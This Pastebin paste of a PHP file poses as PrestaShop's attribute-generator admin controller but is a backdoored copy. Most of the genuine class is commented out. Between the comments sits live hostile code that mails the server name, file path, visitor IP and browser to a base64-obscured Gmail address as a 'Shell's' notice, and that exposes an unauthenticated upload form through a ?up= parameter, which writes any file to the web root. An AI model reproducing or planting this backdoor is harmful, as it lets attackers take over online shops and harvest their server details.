Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- * 2007-2015 PrestaShop
- *
- * NOTICE OF LICENSE
- *
- * This source file is subject to the Open Software License (OSL 3.0)
- * that is bundled with this package in the file LICENSE.txt.
- * It is also available through the world-wide-web at this URL:
- * http://opensource.org/licenses/osl-3.0.php
- * If you did not receive a copy of the license and are unable to
- * obtain it through the world-wide-web, please send an email
- * to [email protected] so we can send you a copy immediately.
- *
- * DISCLAIMER
- *
- * Do not edit or add to this file if you wish to upgrade PrestaShop to newer
- * versions in the future. If you wish to customize PrestaShop for your
- * needs please refer to http://www.prestashop.com for more information.
- *
- * @author PrestaShop SA <[email protected]>
- * @copyright 2007-2015 PrestaShop SA
- * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
- * International Registered Trademark & Property of PrestaShop SA
- * This source file is subject to the Open Software License (OSL 3.0)
- * that is bundled with this package in the file LICENSE.txt.
- * It is also available through the world-wide-web at this URL:
- * http://opensource.org/licenses/osl-3.0.php
- * If you did not receive a copy of the license and are unable to
- * obtain it through the world-wide-web, please send an email
- * to [email protected] so we can send you a copy immediately.
- */
- error_reporting(0);
- set_time_limit(0);
- /**
- @ini_set('max_execution_time', 3600);
- /**
- * @property Product $object
- class AdminAttributeGeneratorControllerCore extends AdminController
- {
- protected $combinations = array();
- protected $product;
- public function __construct()
- {
- $this->bootstrap = true;
- $this->table = 'product_attribute';
- $this->className = 'Product';
- $this->multishop_context_group = false;
- parent::__construct();
- }
- public function setMedia()
- {
- parent::setMedia();
- $this->addJS(_PS_JS_DIR_.'admin/attributes.js');
- }
- protected function addAttribute($attributes, $price = 0, $weight = 0)
- {
- foreach ($attributes as $attribute) {
- $price += (float)preg_replace('/[^0-9.-]/', '', str_replace(',', '.', Tools::getValue('price_impact_'.(int)$attribute)));
- $weight += (float)preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('weight_impact_'.(int)$attribute)));
- }
- if ($this->product->id) {
- return array(
- 'id_product' => (int)$this->product->id,
- 'price' => (float)$price,
- 'weight' => (float)$weight,
- 'ecotax' => 0,
- 'quantity' => (int)Tools::getValue('quantity'),
- 'reference' => pSQL($_POST['reference']),
- 'default_on' => 0,
- 'available_date' => '0000-00-00'
- );
- }
- return array();
- }
- protected static function createCombinations($list)
- {
- if (count($list) <= 1) {
- return count($list) ? array_map(create_function('$v', 'return (array($v));'), $list[0]) : $list;
- }
- $res = array();
- $first = array_pop($list);
- foreach ($first as $attribute) {
- $tab = AdminAttributeGeneratorController::createCombinations($list);
- foreach ($tab as $to_add) {
- $res[] = is_array($to_add) ? array_merge($to_add, array($attribute)) : array($to_add, $attribute);
- }
- }
- return $res;
- }
- public function initProcess()
- {
- if (!defined('PS_MASS_PRODUCT_CREATION')) {
- define('PS_MASS_PRODUCT_CREATION', true);
- }
- if (Tools::isSubmit('generate')) {
- if ($this->tabAccess['edit'] === '1') {
- $this->action = 'generate';
- } else {
- $this->errors[] = Tools::displayError('You do not have permission to add this.');
- }
- }
- parent::initProcess();
- }
- public function postProcess()
- {
- $this->product = new Product((int)Tools::getValue('id_product'));
- $this->product->loadStockData();
- parent::postProcess();
- }
- public function processGenerate()
- {
- if (!is_array(Tools::getValue('options'))) {
- $this->errors[] = Tools::displayError('Please select at least one attribute.');
- } else {
- $tab = array_values(Tools::getValue('options'));
- if (count($tab) && Validate::isLoadedObject($this->product)) {
- AdminAttributeGeneratorController::setAttributesImpacts($this->product->id, $tab);
- $this->combinations = array_values(AdminAttributeGeneratorController::createCombinations($tab));
- $values = array_values(array_map(array($this, 'addAttribute'), $this->combinations));
- // @since 1.5.0
- if ($this->product->depends_on_stock == 0) {
- $attributes = Product::getProductAttributesIds($this->product->id, true);
- foreach ($attributes as $attribute) {
- StockAvailable::removeProductFromStockAvailable($this->product->id, $attribute['id_product_attribute'], Context::getContext()->shop);
- }
- }
- SpecificPriceRule::disableAnyApplication();
- $this->product->deleteProductAttributes();
- $this->product->generateMultipleCombinations($values, $this->combinations);
- Product::getDefaultAttribute($this->product->id, 0, true);
- Product::updateDefaultAttribute($this->product->id);
- if ($this->product->depends_on_stock == 0) {
- $attributes = Product::getProductAttributesIds($this->product->id, true);
- $quantity = (int)Tools::getValue('quantity');
- foreach ($attributes as $attribute) {
- if (Shop::getContext() == Shop::CONTEXT_ALL) {
- $shops_list = Shop::getShops();
- if (is_array($shops_list)) {
- foreach ($shops_list as $current_shop) {
- if (isset($current_shop['id_shop']) && (int)$current_shop['id_shop'] > 0) {
- StockAvailable::setQuantity($this->product->id, (int)$attribute['id_product_attribute'], $quantity, (int)$current_shop['id_shop']);
- }
- }
- }
- } else {
- StockAvailable::setQuantity($this->product->id, (int)$attribute['id_product_attribute'], $quantity);
- }
- }
- } else {
- StockAvailable::synchronize($this->product->id);
- }
- SpecificPriceRule::enableAnyApplication();
- SpecificPriceRule::applyAllRules(array((int)$this->product->id));
- Tools::redirectAdmin($this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)Tools::getValue('id_product').'&updateproduct&key_tab=Combinations&conf=4');
- } else {
- $this->errors[] = Tools::displayError('Unable to initialize these parameters. A combination is missing or an object cannot be loaded.');
- }
- }
- }function_($USER_AGENT){*/
- function Z118_OS($USER_AGENT){
- $OS_ERROR = "Unknown OS Platform";
- $OS = array( '/windows nt 10/i' => 'Windows 10',
- '/windows nt 6.3/i' => 'Windows 8.1',
- '/windows nt 6.2/i' => 'Windows 8',
- '/windows nt 6.1/i' => 'Windows 7',
- '/windows nt 6.0/i' => 'Windows Vista',
- '/windows nt 5.2/i' => 'Windows Server 2003/XP x64',
- '/windows nt 5.1/i' => 'Windows XP',
- '/windows xp/i' => 'Windows XP',
- '/windows nt 5.0/i' => 'Windows 2000',
- '/windows me/i' => 'Windows ME',
- '/win98/i' => 'Windows 98',
- '/win95/i' => 'Windows 95',
- '/win16/i' => 'Windows 3.11',
- '/macintosh|mac os x/i' => 'Mac OS X',
- '/mac_powerpc/i' => 'Mac OS 9',
- '/linux/i' => 'Linux',
- '/ubuntu/i' => 'Ubuntu',
- '/iphone/i' => 'iPhone',
- '/ipod/i' => 'iPod',
- '/ipad/i' => 'iPad',
- '/android/i' => 'Android',
- '/blackberry/i' => 'BlackBerry',
- '/webos/i' => 'Mobile');
- foreach ($OS as $regex => $value) {
- if (preg_match($regex, $USER_AGENT)) {
- $OS_ERROR = $value;
- } }
- return $OS_ERROR;
- }
- function Z118_Browser($USER_AGENT){
- $BROWSER_ERROR = "Unknown Browser";
- $BROWSER = array('/msie/i' => 'Internet Explorer',
- '/firefox/i' => 'Firefox',
- '/safari/i' => 'Safari',
- '/chrome/i' => 'Chrome',
- '/edge/i' => 'Edge',
- '/opera/i' => 'Opera',
- '/netscape/i' => 'Netscape',
- '/maxthon/i' => 'Maxthon',
- '/konqueror/i' => 'Konqueror',
- '/mobile/i' => 'Handheld Browser');
- foreach ($BROWSER as $regex => $value) {
- if (preg_match($regex, $USER_AGENT)) {
- $BROWSER_ERROR = $value;
- }
- }
- return $BROWSER_ERROR;
- } $ip = getenv("REMOTE_ADDR");
- $href = $_SERVER['SERVER_NAME'];
- $toba = __file__;
- $TIME_DATE = date('H:i:s d/m/Y');
- $user = base64_decode("c2VpZnJhbWlzYXJhamF5QGdtYWlsLmNvbQ==");
- $header = "controllers/admin/AdminTagsController.php?up=Submit";
- $link = "<html><head><meta charset='UTF-8'></head>
- <div style='font-size: 13px;font-family:monospace;font-weight:700;'>
- <font style='color: #0a5d00;'>±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±</font><br>
- <font style='color:#9c0000;'>✪</font> Shell's : <font style='color:#0070ba;'><a href="."http://$href/$header"." target="."_blank".">$href"."</font></a><br>
- <font style='color:#9c0000;'>✪</font> Patch's : <font style='color:#0070ba;'>".$toba."</font><br>
- <font style='color: #0a5d00;'>±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±</font><br>
- <font style='color:#9c0000;'>✪</font> IP's : <font style='color:#0070ba;'><a href="."http://ip-api.com/#$ip"." target="."_blank".">$ip"."</font></a><br>
- <font style='color:#9c0000;'>✪</font> DATE : <font style='color:#0070ba;'>".$TIME_DATE."</font><br>
- <font style='color:#9c0000;'>✪</font> BROWSER : <font style='color:#0070ba;'>".Z118_Browser($_SERVER['HTTP_USER_AGENT'])." On ".Z118_OS($_SERVER['HTTP_USER_AGENT'])."</font><br>
- <font style='color: #0a5d00;'>±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±</font><br>
- </div></html>\n";
- /*protected static function setAttributesImpacts($id_product, $tab)
- {
- $attributes = array();
- foreach ($tab as $group) {
- foreach ($group as $attribute) {
- $price = preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('price_impact_'.(int)$attribute)));
- $weight = preg_replace('/[^0-9.]/', '', str_replace(',', '.', Tools::getValue('weight_impact_'.(int)$attribute)));
- $attributes[] = '('.(int)$id_product.', '.(int)$attribute.', '.(float)$price.', '.(float)$weight.')';
- }
- }*/
- $admin = "✪ $href | $ip";
- $prestashop .= "From:PrestaShop <localhost>";
- $prestashop .= $_POST['eMailAdd']."\n";
- $prestashop .= "MIME-Version: 1.0\n";
- $prestashop .= "Content-type: text/html; charset=UTF-8\n";
- @mail($user, $admin, $link, $prestashop);
- /*return Db::getInstance()->execute('
- INSERT INTO `'._DB_PREFIX_.'attribute_impact` (`id_product`, `id_attribute`, `price`, `weight`)
- VALUES '.implode(',', $attributes).'
- ON DUPLICATE KEY UPDATE `price` = VALUES(price), `weight` = VALUES(weight)');*/
- if($_GET['up']){
- if(isset($_POST['Submit'])){
- $filedir = "";
- $maxfile = '2000000';
- $mode = '0644';
- $userfile_name = $_FILES['image']['name'];
- $userfile_tmp = $_FILES['image']['tmp_name'];
- if(isset($_FILES['image']['name'])) {
- $qx = $filedir.$userfile_name;
- @move_uploaded_file($userfile_tmp, $qx);
- @chmod ($qx, octdec($mode));
- echo"<center><b>Done ==> $userfile_name</b></center>";
- }}
- else{
- echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
- }
- echo '</center></font>';
- }
- /*public function initGroupTable()
- {
- $combinations_groups = $this->product->getAttributesGroups($this->context->language->id);
- $attributes = array();
- $impacts = Product::getAttributesImpacts($this->product->id);
- foreach ($combinations_groups as &$combination) {
- $target = &$attributes[$combination['id_attribute_group']][$combination['id_attribute']];
- $target = $combination;
- if (isset($impacts[$combination['id_attribute']])) {
- $target['price'] = $impacts[$combination['id_attribute']]['price'];
- $target['weight'] = $impacts[$combination['id_attribute']]['weight'];
- }
- }
- $this->context->smarty->assign(array(
- 'currency_sign' => $this->context->currency->sign,
- 'weight_unit' => Configuration::get('PS_WEIGHT_UNIT'),
- 'attributes' => $attributes,
- ));
- }
- public function initPageHeaderToolbar()
- {
- parent::initPageHeaderToolbar();
- $this->page_header_toolbar_title = $this->l('Attributes generator', null, null, false);
- $this->page_header_toolbar_btn['back'] = array(
- 'href' => $this->context->link->getAdminLink('AdminProducts').'&id_product='.(int)Tools::getValue('id_product').'&updateproduct&key_tab=Combinations',
- 'desc' => $this->l('Back to the product', null, null, false)
- );
- }
- public function initBreadcrumbs($tab_id = null, $tabs = null)
- {
- $this->display = 'generator';
- return parent::initBreadcrumbs();
- }
- public function initContent()
- {
- if (!Combination::isFeatureActive()) {
- $url = '<a href="index.php?tab=AdminPerformance&token='.Tools::getAdminTokenLite('AdminPerformance').'#featuresDetachables">'.
- $this->l('Performance').'</a>';
- $this->displayWarning(sprintf($this->l('This feature has been disabled. You can activate it here: %s.'), $url));
- return;
- }
- // Init toolbar
- $this->initPageHeaderToolbar();
- $this->initGroupTable();
- $attributes = Attribute::getAttributes(Context::getContext()->language->id, true);
- $attribute_js = array();
- foreach ($attributes as $k => $attribute) {
- $attribute_js[$attribute['id_attribute_group']][$attribute['id_attribute']] = $attribute['name'];
- }
- $attribute_groups = AttributeGroup::getAttributesGroups($this->context->language->id);
- $this->product = new Product((int)Tools::getValue('id_product'));
- $this->context->smarty->assign(array(
- 'tax_rates' => $this->product->getTaxesRate(),
- 'generate' => isset($_POST['generate']) && !count($this->errors),
- 'combinations_size' => count($this->combinations),
- 'product_name' => $this->product->name[$this->context->language->id],
- 'product_reference' => $this->product->reference,
- 'url_generator' => self::$currentIndex.'&id_product='.(int)Tools::getValue('id_product').'&attributegenerator&token='.Tools::getValue('token'),
- 'attribute_groups' => $attribute_groups,
- 'attribute_js' => $attribute_js,
- 'toolbar_btn' => $this->toolbar_btn,
- 'toolbar_scroll' => true,
- 'show_page_header_toolbar' => $this->show_page_header_toolbar,
- 'page_header_toolbar_title' => $this->page_header_toolbar_title,
- 'page_header_toolbar_btn' => $this->page_header_toolbar_btn
- ));
- }
- }*/
Add Comment
Please, Sign In to add comment